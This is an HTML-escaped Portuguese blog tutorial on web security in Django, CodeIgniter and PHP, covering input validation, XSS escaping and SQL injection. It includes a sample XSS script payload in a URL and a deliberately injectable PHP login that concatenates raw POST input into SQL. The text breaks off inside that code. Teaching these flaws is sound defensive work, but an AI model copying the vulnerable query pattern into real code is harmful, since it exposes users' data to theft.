&lt;p&gt;Em alguns &lt;em&gt;frameworks&lt;/em&gt;, como o &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;/tag/codeigniter.html&quot; title=&quot;Leia mais sobre Codeigniter&quot;&gt;&lt;em&gt;Codeigniter&lt;/em&gt;&lt;/a&gt;, essas
ferramentas são quase “transparentes”, ou seja, você tem pouco (ou
nenhum) trabalho para utilizá-las no cotidiano.&lt;/p&gt;
&lt;p&gt;Já trabalhei por muito tempo com “desenvolvimento from scratch”, e hoje
posso apontar vários pontos de falhas em aplicações que produzi no
passado. Os &lt;em&gt;frameworks&lt;/em&gt; diminuem muito estes pontos, por isso vale a
pena o seu uso.&lt;/p&gt;
&lt;h2&gt;Validações (nunca confie no usuário)&lt;/h2&gt;
&lt;p&gt;Como eu comecei com o &lt;a href=&quot;/tag/php.html&quot; title=&quot;Leia mais sobre PHP&quot;&gt;&lt;em&gt;PHP&lt;/em&gt;&lt;/a&gt;, sei muito bem que este é um problema
comum em aplicações desenvolvidas por iniciantes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nunca confie no usuário&lt;/strong&gt;, e principalmente &lt;strong&gt;nunca confie em
validações realizadas pelo &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;&lt;/strong&gt;. Todo ponto de entrada de
informação deve possuir uma validação no &lt;em&gt;server-side&lt;/em&gt;, mesmo que exista
uma validação no &lt;em&gt;client-side&lt;/em&gt;. &lt;strong&gt;Lembre-se:&lt;/strong&gt; Existem navegadores que
não utilizam &lt;em&gt;Javascript&lt;/em&gt;, e mesmo os que utilizam, permitem que o
usuário desabilite esta função.&lt;/p&gt;
&lt;p&gt;No &lt;em&gt;Django&lt;/em&gt;, podemos fazer validações de formulários através de
&lt;a href=&quot;https://docs.djangoproject.com/en/dev/topics/forms/&quot; title=&quot;Conheça os Forms no Django&quot;&gt;&lt;em&gt;Forms&lt;/em&gt;&lt;/a&gt;. No &lt;em&gt;Codeigniter&lt;/em&gt; fazemos através da &lt;a href=&quot;http://codeigniter.com/user_guide/libraries/form_validation.html&quot; title=&quot;Veja como fazer validações de formulário no Codeigniter&quot;&gt;&lt;em&gt;Form Validation Class&lt;/em&gt;&lt;/a&gt;.
Em &lt;em&gt;PHP&lt;/em&gt; “puro”, podemos fazer validações através da &lt;a href=&quot;http://pear.php.net/manual/en/package.validate.validate.intro.php&quot; title=&quot;Instale a Validate através da PEAR&quot;&gt;biblioteca &lt;em&gt;Validate&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As ferramentas citadas acima são extremamente eficientes para ações
realizadas via &lt;em&gt;POST&lt;/em&gt;. Mas e quando temos parâmetros vindos da &lt;em&gt;URL&lt;/em&gt;,
através do método &lt;em&gt;GET&lt;/em&gt;, qual é a melhor maneira de agirmos?&lt;/p&gt;
&lt;h3&gt;URLs seguras e amigáveis&lt;/h3&gt;
&lt;p&gt;Há um bom tempo que as “URLs amigáveis” deixaram de ser um diferencial
nas aplicações &lt;em&gt;web&lt;/em&gt; e tornaram-se item obrigatório. Além de trazer o
benefício do &lt;a href=&quot;http://pt.wikipedia.org/wiki/Otimiza%C3%A7%C3%A3o_para_motores_de_busca&quot; title=&quot;Leia mais sobre SEO no Wikipedia&quot;&gt;&lt;em&gt;SEO&lt;/em&gt;&lt;/a&gt;, elas podem ser uma grande aliada quando o
assunto é segurança.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;URLs&lt;/em&gt; que antes eram feitas dessa maneira:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/blog.php?year=2012&amp;amp;month=12&amp;amp;day=21&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podem ser reproduzidas desta forma:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/blog/2012/12/21/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O mecanismo de rotas de alguns &lt;em&gt;frameworks&lt;/em&gt; permite a utilização de
expressões regulares na construção do caminho. Por exemplo, em &lt;em&gt;Django&lt;/em&gt;
temos o seguinte cenário:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# urls.py&lt;/span&gt;

urlpatterns &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; patterns&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&apos;^blog/(?P&amp;lt;year&gt;\d{4})/(?P&amp;lt;month&gt;[0-9]{2})/(?P&amp;lt;day&gt;\d{2})/$&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;blog.views.index&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Determinamos que a rota inicia-se por &lt;code class=&quot;language-text&quot;&gt;blog&lt;/code&gt;, sendo composta por um
valor numérico de 4 dígitos que atende pelo identificador &lt;code class=&quot;language-text&quot;&gt;year&lt;/code&gt;,
outro valor de dois dígitos, indo de 0 a 9, chamado &lt;code class=&quot;language-text&quot;&gt;month&lt;/code&gt;, e o
último um valor numérico de 2 dígitos chamado &lt;code class=&quot;language-text&quot;&gt;day&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A verificação é feita no momento da requisição. Se a rota informada
bater com o padrão criado, ele executa a &lt;em&gt;view&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;blog.views&lt;/code&gt;. Caso
contrário, se a rota não bater com nenhum padrão informado (por exemplo,
&lt;code class=&quot;language-text&quot;&gt;/blog/2012/aa/21/&lt;/code&gt;), o usuário tomará um erro 404.&lt;/p&gt;
&lt;p&gt;Em nossa &lt;em&gt;view&lt;/em&gt;, resgataríamos esses valores da seguinte forma:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# blog/views.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; year&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; month&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; day&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Lógica de renderização...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Simples assim! Temos um “input” de informação através de &lt;em&gt;GET&lt;/em&gt;, onde
temos certeza do seu tipo e tamanho.&lt;/p&gt;
&lt;p&gt;O mesmo resultado pode ser obtido com o &lt;em&gt;Codeigniter&lt;/em&gt;, basta adicionar a
expressão desejada em seu &lt;code class=&quot;language-text&quot;&gt;application/config/routes.php&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# application/config/routes.php&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;blog/(\d{4})/([0-9]{2})/(\d{2})&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;blog/index/&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$1&lt;/span&gt;&lt;/span&gt;/&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$2&lt;/span&gt;&lt;/span&gt;/&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$3&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Aos invés de utilizarmos identificadores, utilizamos a ordem dos grupos
criados na expressão regular.&lt;/p&gt;
&lt;p&gt;Você não precisa utilizar um &lt;em&gt;framework&lt;/em&gt; para ter um esquema de rotas
como ilustrado acima. Um resultado parecido pode ser atingido através do
&lt;a href=&quot;/tag/nginx.html&quot; title=&quot;Leia mais sobre Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; e do &lt;em&gt;Apache&lt;/em&gt; com &lt;em&gt;mod-rewrite&lt;/em&gt;. &lt;a href=&quot;http://stackoverflow.com/questions/812571/how-to-create-friendly-url-in-php&quot; title=&quot;Como criar rotas para arquivos PHP com o Apache&quot;&gt;Veja um exemplo de uso&lt;/a&gt;
apresentado numa &lt;em&gt;thread&lt;/em&gt; do &lt;em&gt;Stack Overflow&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;É claro que verificações mais complexas, como por exemplo, se o nome do
usuário informado na &lt;em&gt;URL&lt;/em&gt; é válido, necessitam de regras específicas,
muito provavelmente escritas dentro da &lt;em&gt;view&lt;/em&gt;. Um ponto de falha que
vale ressaltar é a criação de expressões regulares “genéricas”, que não
discriminam o tipo e tamanho dos valores informados.&lt;/p&gt;
&lt;h3&gt;Verificação de tipos de dados&lt;/h3&gt;
&lt;p&gt;Mas e quando não temos como fugir de um valor passado via &lt;em&gt;GET&lt;/em&gt;? Pode
acontecer! Por exemplo, em paginações (onde normalmente passamos um
valor &lt;code class=&quot;language-text&quot;&gt;page&lt;/code&gt; como parâmetro), ou em uma busca (onde passamos o valor
pesquisado via &lt;em&gt;GET&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Nesse caso, “forçamos” o tipo do dado informado, e diminuímos problemas
de interpretação do nosso código:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$page&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;preg_match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;/^\d+$/&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A solução acima não é infalível, mas é uma maneira de diminuírmos a
incidência de erros. Se um valor diferente de inteiro positivo for
passado, a página a ser exibida será a primeira.&lt;/p&gt;
&lt;h2&gt;XSS – Cross-Site Scripting (não confie na informação)&lt;/h2&gt;
&lt;p&gt;É certo que, validando toda e qualquer
informação que a sua aplicação receber, você diminuirá muito a
ocorrência de problemas. Mas, mesmo confiando no tipo e nas dimensões da
informação, não podemos confiar no seu conteúdo.&lt;/p&gt;
&lt;p&gt;Imagine que você possua um &lt;em&gt;blog&lt;/em&gt;. Só você pode escrever artigos nele,
então você conhece o conteúdo da informação sendo produzida. Certo dia
você resolve que os usuários poderão comentar no seu &lt;em&gt;blog&lt;/em&gt;, e
desenvolve uma ferramenta de comentários com todas as validações citadas
anteriormente.&lt;/p&gt;
&lt;p&gt;Até que em certo momento, um usuário mal-intencionado &lt;strong&gt;escreve um
comentário&lt;/strong&gt; no seu &lt;em&gt;post&lt;/em&gt;, e neste comentário existe um &lt;strong&gt;&lt;em&gt;script&lt;/em&gt;&lt;/strong&gt;
&lt;em&gt;Javascript&lt;/em&gt; que explora uma &lt;strong&gt;falha de segurança&lt;/strong&gt; do &lt;em&gt;ActiveX&lt;/em&gt; (por
exemplo). Logo, todos os leitores que utilizam &lt;em&gt;Internet Explorer&lt;/em&gt; e
leram o seu &lt;em&gt;post&lt;/em&gt; são infectados por um &lt;em&gt;malware&lt;/em&gt; que o seu &lt;em&gt;blog&lt;/em&gt;
ajudou a proliferar.&lt;/p&gt;
&lt;p&gt;A injeção de um &lt;em&gt;script&lt;/em&gt; em um &lt;em&gt;website&lt;/em&gt;, através de campos de textos ou
passagem de parâmetros, é caracterizado como um ataque de &lt;strong&gt;&lt;em&gt;Cross-Site
Scripting&lt;/em&gt;&lt;/strong&gt; (ou &lt;em&gt;XSS&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Uma maneira muito comum de evitar esse tipo de problema é simplesmente
“escapando” ou removendo elementos &lt;em&gt;HTML&lt;/em&gt; do conteúdo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# xss.php&lt;/span&gt;

&lt;span class=&quot;token variable&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;var&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$var&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token delimiter important&quot;&gt;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Acessar &lt;code class=&quot;language-text&quot;&gt;xss.php&lt;/code&gt; com um &lt;code class=&quot;language-text&quot;&gt;alert&lt;/code&gt; &lt;em&gt;Javascript&lt;/em&gt; como parâmetro, não
executará o comando, e sim apenas exibirá o conteúdo na tela, com os
caracteres que delimitam o elemento &lt;code class=&quot;language-text&quot;&gt;script&lt;/code&gt; devidamente formatados:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://localhost/xss.php?var=&amp;amp;lt;script&amp;amp;gt;alert(&quot;XSS!&quot;);&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Existem alguns &lt;a href=&quot;http://www.webdesignerdepot.com/2008/12/20-excellent-free-rich-text-editors/&quot; title=&quot;Conheça 20 excelentes editores WYSIWYG&quot;&gt;&lt;em&gt;Rich Text Editors&lt;/em&gt;&lt;/a&gt; que verificam e formatam o
conteúdo do campo antes de uma submissão. Mas &lt;strong&gt;lembre-se&lt;/strong&gt;! Editores
&lt;em&gt;WYSIWYG&lt;/em&gt; são basicamente &lt;em&gt;Javascript&lt;/em&gt;, logo, se eu desabilitar o
&lt;em&gt;Javascript&lt;/em&gt; do meu navegador, posso enviar &lt;em&gt;scripts&lt;/em&gt; maliciosos sem
impeditivo nenhum, por isso, é sempre necessário fazermos esse tipo de
validação no &lt;em&gt;server-side&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Codeigniter&lt;/em&gt;, com a opção &lt;code class=&quot;language-text&quot;&gt;$config[&apos;global_xss_filtering’]&lt;/code&gt; como
&lt;code class=&quot;language-text&quot;&gt;TRUE&lt;/code&gt;, filtra automaticamente os dados resgatados de &lt;em&gt;GET&lt;/em&gt; ou &lt;em&gt;POST&lt;/em&gt;.
O que acho bacana desse filtro, é que ele previne apenas a injeção de
&lt;em&gt;scripts&lt;/em&gt; e atributos que podem de alguma forma prejudicar na segurança
da sua aplicação, não necessariamente formatando o conteúdo todo.&lt;/p&gt;
&lt;p&gt;Este tratamento está ativo por padrão no &lt;em&gt;engine&lt;/em&gt; de &lt;em&gt;templates&lt;/em&gt; do
&lt;em&gt;Django&lt;/em&gt;. Embora isso não impeça o armazenamento do &lt;em&gt;script&lt;/em&gt; no banco de
dados, impede que a sua renderização afete os usuários da sua aplicação.&lt;/p&gt;
&lt;p&gt;Uma outra forma muito bacana de prevenir este tipo de inconveniente é
utilizando uma linguagem de marcação alternativa, como &lt;em&gt;Textile&lt;/em&gt; e
&lt;em&gt;Markdown&lt;/em&gt;, em campos de textos abertos.&lt;/p&gt;
&lt;h2&gt;SQL Injection (não confie em sua aplicação)&lt;/h2&gt;
&lt;p&gt;Entre as vulnerabilidades citadas, acredito que o
&lt;strong&gt;&lt;em&gt;SQL Injection&lt;/em&gt;&lt;/strong&gt; é uma das mais
destrutivas, tanto para a sua aplicação, quanto para os seus usuários.&lt;/p&gt;
&lt;p&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;É um tipo de ameaça de segurança que se aproveita de falhas em
sistemas que interagem com bases de dados via SQL. A injeção de
SQL ocorre quando o atacante consegue inserir
uma série de instruções SQL dentro de uma
consulta (query) através da manipulação das entrada de dados de uma
aplicação.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Os resultados podem ser os mais desastrosos, como por exemplo, o acesso
de usuários não autorizados a áreas restritas, e o roubo de informações
da sua base de dados. Abaixo, uma autenticação simples, utilizando nome
de usuário e senha:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;php&quot;&gt;&lt;pre class=&quot;language-php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token php language-php&quot;&gt;&lt;span class=&quot;token delimiter important&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# sql-injection.php&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;senha&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$usuario&lt;/span&gt;    &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;usuario&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$senha&lt;/span&gt;      &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;senha&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Abre conexão com o banco de dados&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$link&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mysql_connect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;localhost&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;root&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Seleciona a base de dados&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;mysql_select_db&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;exemplos_blog&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// Faz a consulta ao banco, comparando usuário e senha&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;SELECT 1 FROM usuario WHERE usuario = &apos;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$usuario&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&apos; &quot;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;AND senha = &apos;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$senha&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&apos;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token variable&quot;&gt;$result&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mysql_query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;die&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;Query inválida: &quot;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mysql_error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&quot;\n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;mysql_close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$link&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;mysql_num_rows&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$result&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Vai para a página logada&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&apos;Login com sucesso&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
